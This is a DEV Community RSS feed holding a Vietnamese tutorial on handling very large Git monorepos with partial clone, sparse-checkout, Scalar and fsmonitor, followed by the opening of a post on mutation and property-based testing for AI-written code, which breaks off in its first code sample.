<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: EME GUG</title>
    <description>The latest articles on DEV Community by EME GUG (@eme_gug_0821b41b948be6516).</description>
    <link>https://dev.to/eme_gug_0821b41b948be6516</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4102072%2Fa1907154-e6d9-4726-ae5f-d4de9d023f93.png</url>
      <title>DEV Community: EME GUG</title>
      <link>https://dev.to/eme_gug_0821b41b948be6516</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/eme_gug_0821b41b948be6516"/>
    <language>en</language>
    <item>
      <title>Taming Huge Git Repos: Partial Clone, Sparse-Checkout and Scalar in Practice</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Tue, 13 Oct 2026 23:45:31 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/taming-huge-git-repos-partial-clone-sparse-checkout-and-scalar-in-practice-6m9</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/taming-huge-git-repos-partial-clone-sparse-checkout-and-scalar-in-practice-6m9</guid>
      <description>&lt;p&gt;Tuần này trên HN có bài về việc Anthropic thiết kế lại hệ thống source control nội bộ. Đọc xong mình thấy quen, vì team nào để monorepo phình lên vài chục GB cũng sẽ gặp đúng những vấn đề đó: &lt;code&gt;git clone&lt;/code&gt; mất 40 phút, &lt;code&gt;git status&lt;/code&gt; chạy 8 giây, CI thì tốn phần lớn thời gian để kéo code về. Phần lớn chúng ta không cần (và cũng không nên) tự viết VCS riêng. Git bản hiện đại đã có sẵn công cụ để xử lý repo lớn, chỉ là ít người dùng. Bài này tổng hợp những gì mình đã áp dụng cho một monorepo khoảng 18GB, gồm partial clone, sparse-checkout, Scalar và vài config đáng bật.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Biết repo nặng vì đâu trước khi tối ưu
&lt;/h2&gt;

&lt;p&gt;Repo chậm thường vì một trong ba lý do sau, hoặc cả ba:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nhiều blob lớn trong history&lt;/strong&gt;: ai đó từng commit file &lt;code&gt;.zip&lt;/code&gt;, model ML, dump SQL rồi xóa đi, nhưng các blob đó vẫn còn trong history.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nhiều file trong working tree&lt;/strong&gt;: hàng trăm nghìn file khiến &lt;code&gt;git status&lt;/code&gt; phải &lt;code&gt;stat()&lt;/code&gt; từng file một.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;History dài&lt;/strong&gt;: hàng triệu commit làm &lt;code&gt;git log&lt;/code&gt;, &lt;code&gt;git blame&lt;/code&gt; và merge-base chậm đi.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Để biết repo của mình thuộc loại nào, mình hay dùng script Python sau để liệt kê các blob lớn nhất trong toàn bộ history:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
# find_big_blobs.py - liệt kê top N blob lớn nhất trong history
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;TOP_N&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;

&lt;span class="n"&gt;rev_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rev-list&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--objects&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--all&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PIPE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;cat_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cat-file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--batch-check=%(objecttype) %(objectname) %(objectsize) %(rest)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;rev_list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;capture_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;blobs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cat_file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;splitlines&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;parts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;blob&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(unknown)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
        &lt;span class="n"&gt;blobs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;][:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;blobs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blobs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Tổng &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blobs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; blob, &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; GB (chưa nén)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;blobs&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;TOP_N&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;8.1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; MB  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;sha&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chạy &lt;code&gt;python3 find_big_blobs.py 30&lt;/code&gt; ở repo của mình thì thấy khoảng 70% dung lượng nằm ở các file &lt;code&gt;.onnx&lt;/code&gt; và &lt;code&gt;.parquet&lt;/code&gt; có từ 3 năm trước. Lúc đó có hai lựa chọn. Một là rewrite history bằng &lt;code&gt;git filter-repo&lt;/code&gt;, nhưng cách này đau vì mọi người phải clone lại và mọi SHA đều đổi. Hai là giữ nguyên history và để client không tải blob mình không cần. Trên repo dùng chung, mình gần như luôn chọn cách thứ hai.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Partial clone: chỉ tải blob khi thật sự cần
&lt;/h2&gt;

&lt;p&gt;Partial clone ổn định từ khoảng Git 2.22 trở đi, và GitHub, GitLab, Bitbucket đều đã hỗ trợ. Có hai filter hay dùng:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Blobless clone: tải toàn bộ commit + tree, blob thì tải lazy&lt;/span&gt;
git clone &lt;span class="nt"&gt;--filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;blob:none git@github.com:company/monorepo.git

&lt;span class="c"&gt;# Treeless clone: chỉ tải commit, tree và blob đều lazy (hợp cho CI build 1 lần)&lt;/span&gt;
git clone &lt;span class="nt"&gt;--filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;tree:0 git@github.com:company/monorepo.git

&lt;span class="c"&gt;# Kiểm tra repo hiện tại có phải partial clone không&lt;/span&gt;
git config &lt;span class="nt"&gt;--get&lt;/span&gt; remote.origin.promisor        &lt;span class="c"&gt;# true&lt;/span&gt;
git config &lt;span class="nt"&gt;--get&lt;/span&gt; remote.origin.partialclonefilter  &lt;span class="c"&gt;# blob:none&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Với repo 18GB của mình, blobless clone còn khoảng 1.9GB và mất chưa tới 3 phút. Cơ chế hoạt động như sau:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant Dev as Developer
    participant Local as Local repo
    participant Remote as Remote (promisor)
    Dev-&amp;gt;&amp;gt;Local: git clone --filter=blob:none
    Remote--&amp;gt;&amp;gt;Local: commits + trees (không có blob)
    Dev-&amp;gt;&amp;gt;Local: git checkout main
    Local-&amp;gt;&amp;gt;Remote: fetch các blob của HEAD
    Remote--&amp;gt;&amp;gt;Local: blobs cần thiết
    Dev-&amp;gt;&amp;gt;Local: git log -p old_file.py
    Local-&amp;gt;&amp;gt;Remote: fetch lazy blob của commit cũ
    Remote--&amp;gt;&amp;gt;Local: blob cũ&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Cần lưu ý là partial clone đổi dung lượng lấy network. Các lệnh phải đọc nội dung file cũ như &lt;code&gt;git blame&lt;/code&gt; hay &lt;code&gt;git log -p&lt;/code&gt; trên một file có history dài sẽ phải kéo blob về, nên lần đầu chạy sẽ chậm và cần có mạng. Với developer thì &lt;code&gt;blob:none&lt;/code&gt; là lựa chọn hợp lý. Mình không khuyên dùng &lt;code&gt;tree:0&lt;/code&gt; cho máy dev, vì khi đó gần như lệnh nào cũng phải fetch thêm.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Sparse-checkout: chỉ checkout phần mình làm
&lt;/h2&gt;

&lt;p&gt;Partial clone giải quyết chuyện dung lượng. Sparse-checkout giải quyết chuyện working tree có quá nhiều file. Nên dùng cone mode (mặc định từ Git 2.27+), vì nó match theo thư mục và nhanh hơn nhiều so với pattern kiểu &lt;code&gt;.gitignore&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clone kết hợp cả hai: blobless + sparse&lt;/span&gt;
git clone &lt;span class="nt"&gt;--filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;blob:none &lt;span class="nt"&gt;--sparse&lt;/span&gt; git@github.com:company/monorepo.git
&lt;span class="nb"&gt;cd &lt;/span&gt;monorepo

&lt;span class="c"&gt;# Lúc này chỉ có file ở root. Thêm các thư mục cần làm:&lt;/span&gt;
git sparse-checkout &lt;span class="nb"&gt;set &lt;/span&gt;services/payment libs/common tools/ci

&lt;span class="c"&gt;# Thêm thư mục mà không ghi đè danh sách cũ&lt;/span&gt;
git sparse-checkout add services/notification

&lt;span class="c"&gt;# Xem đang checkout những gì&lt;/span&gt;
git sparse-checkout list

&lt;span class="c"&gt;# Muốn quay lại full checkout&lt;/span&gt;
git sparse-checkout disable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kết hợp hai kỹ thuật này thì blob của các thư mục nằm ngoài sparse set sẽ không bao giờ bị tải về. Ở team mình, mỗi service có một file &lt;code&gt;.sparse-profile&lt;/code&gt; liệt kê dependency, kèm một target &lt;code&gt;make sparse SERVICE=payment&lt;/code&gt; để set cho đúng. Người mới vào chỉ cần clone vài trăm MB thay vì 18GB.&lt;/p&gt;

&lt;p&gt;Vẫn còn vài vấn đề cần biết. IDE như IntelliJ hay VS Code có thể báo thiếu import nếu code tham chiếu tới thư mục ngoài sparse set. Build tool như Bazel, Nx hay Turborepo cũng cần biết dependency graph để không đi tìm file không tồn tại. Vì vậy hãy sinh sparse set từ dependency graph của build tool, đừng viết tay.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Scalar và các config nên bật
&lt;/h2&gt;

&lt;p&gt;Từ Git 2.38, &lt;code&gt;scalar&lt;/code&gt; được tích hợp sẵn trong Git. Thực chất nó là một wrapper bật sẵn các config tốt cho repo lớn:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clone mới theo cách của Scalar: blobless + sparse + maintenance&lt;/span&gt;
scalar clone git@github.com:company/monorepo.git
&lt;span class="c"&gt;# Lưu ý: code nằm trong monorepo/src/&lt;/span&gt;

&lt;span class="c"&gt;# Hoặc áp dụng cho repo đã clone sẵn&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; ~/work/monorepo
scalar register

&lt;span class="c"&gt;# Nếu không muốn dùng scalar, bật tay các config quan trọng:&lt;/span&gt;
git config core.fsmonitor &lt;span class="nb"&gt;true&lt;/span&gt;          &lt;span class="c"&gt;# built-in fsmonitor (macOS/Windows, Git 2.37+)&lt;/span&gt;
git config core.untrackedCache &lt;span class="nb"&gt;true
&lt;/span&gt;git config feature.manyFiles &lt;span class="nb"&gt;true&lt;/span&gt;       &lt;span class="c"&gt;# index v4 + untracked cache&lt;/span&gt;
git config fetch.writeCommitGraph &lt;span class="nb"&gt;true
&lt;/span&gt;git commit-graph write &lt;span class="nt"&gt;--reachable&lt;/span&gt; &lt;span class="nt"&gt;--changed-paths&lt;/span&gt;
git maintenance start                   &lt;span class="c"&gt;# chạy prefetch, gc, commit-graph nền&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trên MacBook M3 của mình, &lt;code&gt;git status&lt;/code&gt; giảm từ 6.2 giây xuống còn khoảng 0.3 giây chủ yếu nhờ &lt;code&gt;core.fsmonitor&lt;/code&gt;. Git chạy một daemon theo dõi file system event, nhờ vậy không phải quét lại cả cây thư mục mỗi lần. Còn &lt;code&gt;--changed-paths&lt;/code&gt; tạo Bloom filter trong commit-graph, giúp &lt;code&gt;git log -- path/to/file&lt;/code&gt; nhanh lên rõ rệt.&lt;/p&gt;

&lt;p&gt;Dưới đây là cách mình chọn chiến lược theo từng tình huống:&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A[Cần clone repo lớn] --&amp;gt; B{Dùng cho việc gì?}
    B --&amp;gt;|CI build 1 lần| C[--depth=1 hoặc --filter=tree:0]
    B --&amp;gt;|Developer hằng ngày| D{Làm toàn repo?}
    D --&amp;gt;|Có| E[--filter=blob:none + fsmonitor]
    D --&amp;gt;|Chỉ vài service| F[scalar clone + sparse-checkout set]
    B --&amp;gt;|Cần blame/history sâu| G[Full clone + commit-graph]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Với CI, shallow clone &lt;code&gt;--depth=1&lt;/code&gt; vẫn là cách nhanh nhất cho job chỉ build và test. Nếu job cần tính diff với &lt;code&gt;main&lt;/code&gt;, ví dụ để chỉ test các package bị ảnh hưởng, thì dùng &lt;code&gt;--filter=blob:none&lt;/code&gt; với &lt;code&gt;fetch-depth: 0&lt;/code&gt; sẽ hợp lý hơn shallow, vì shallow clone hay làm hỏng &lt;code&gt;git merge-base&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Trước khi nghĩ tới chuyện tách repo hay đổi VCS, hãy dùng hết những gì Git đã có sẵn:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Đo trước&lt;/strong&gt;: chạy script tìm blob lớn và &lt;code&gt;time git status&lt;/code&gt; để biết repo chậm vì dung lượng, số file hay history.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Developer dùng &lt;code&gt;--filter=blob:none&lt;/code&gt;&lt;/strong&gt;: dung lượng giảm 5 đến 10 lần mà gần như không mất gì.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monorepo nhiều team thì thêm sparse-checkout cone mode&lt;/strong&gt;, và sinh sparse set từ dependency graph của build tool.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bật &lt;code&gt;core.fsmonitor&lt;/code&gt;, &lt;code&gt;feature.manyFiles&lt;/code&gt; và &lt;code&gt;git maintenance start&lt;/code&gt;&lt;/strong&gt;, hoặc chạy &lt;code&gt;scalar register&lt;/code&gt; cho nhanh. Đây là thay đổi tốn ít công nhất mà hiệu quả nhiều nhất.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Với CI, chọn giữa shallow và treeless tùy job có cần history hay không&lt;/strong&gt;, đừng dùng full clone theo mặc định.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chặn blob lớn ngay từ đầu&lt;/strong&gt; bằng pre-commit hook giới hạn kích thước file, và đưa artifact như model hay dataset ra object storage hoặc Git LFS.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Repo lớn không có gì sai. Vấn đề là dùng công cụ cho repo 50MB để làm việc với repo 50GB. Chỉ cần cấu hình đúng vài lệnh là đủ để team bớt mất thời gian chờ clone mỗi sáng.&lt;/p&gt;

</description>
      <category>git</category>
      <category>monorepo</category>
      <category>devops</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Your AI-Written Tests Are Too Polite: Mutation Testing and Property-Based Testing to Catch Slop</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Tue, 13 Oct 2026 15:19:43 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/your-ai-written-tests-are-too-polite-mutation-testing-and-property-based-testing-to-catch-slop-4kp6</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/your-ai-written-tests-are-too-polite-mutation-testing-and-property-based-testing-to-catch-slop-4kp6</guid>
      <description>&lt;p&gt;Dạo này mình review PR thì thấy một kiểu rất quen: code do AI viết, test cũng do AI viết, coverage báo 95%, CI xanh. Nhìn thì yên tâm, nhưng deploy xong vẫn dính bug ở những case "hiển nhiên". Lý do khá đơn giản: khi cùng một model viết cả code lẫn test, test thường chỉ &lt;strong&gt;xác nhận lại&lt;/strong&gt; những gì code đang làm chứ không thật sự &lt;strong&gt;kiểm tra&lt;/strong&gt; code có đúng không. Test kiểu đó quá "lịch sự", không chịu cãi lại code. Trên Dev.to gần đây có bài "AI Needs a Test That Fights Back", còn trên HN thì người ta đang bàn chuyện dùng AI tốt cũng là một kỹ năng. Mình đồng ý với cả hai. Trong bài này mình chia sẻ hai kỹ thuật mình đang dùng thật để bắt test phải "đánh lại": &lt;strong&gt;mutation testing&lt;/strong&gt; và &lt;strong&gt;property-based testing&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vấn đề: coverage cao không có nghĩa là test tốt
&lt;/h2&gt;

&lt;p&gt;Coverage chỉ cho biết dòng code nào &lt;em&gt;đã chạy&lt;/em&gt;, không cho biết test có &lt;em&gt;assert đúng thứ cần assert&lt;/em&gt; hay không. Lấy một ví dụ thực tế:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# src/pricing.py
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;percent must be 0-100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
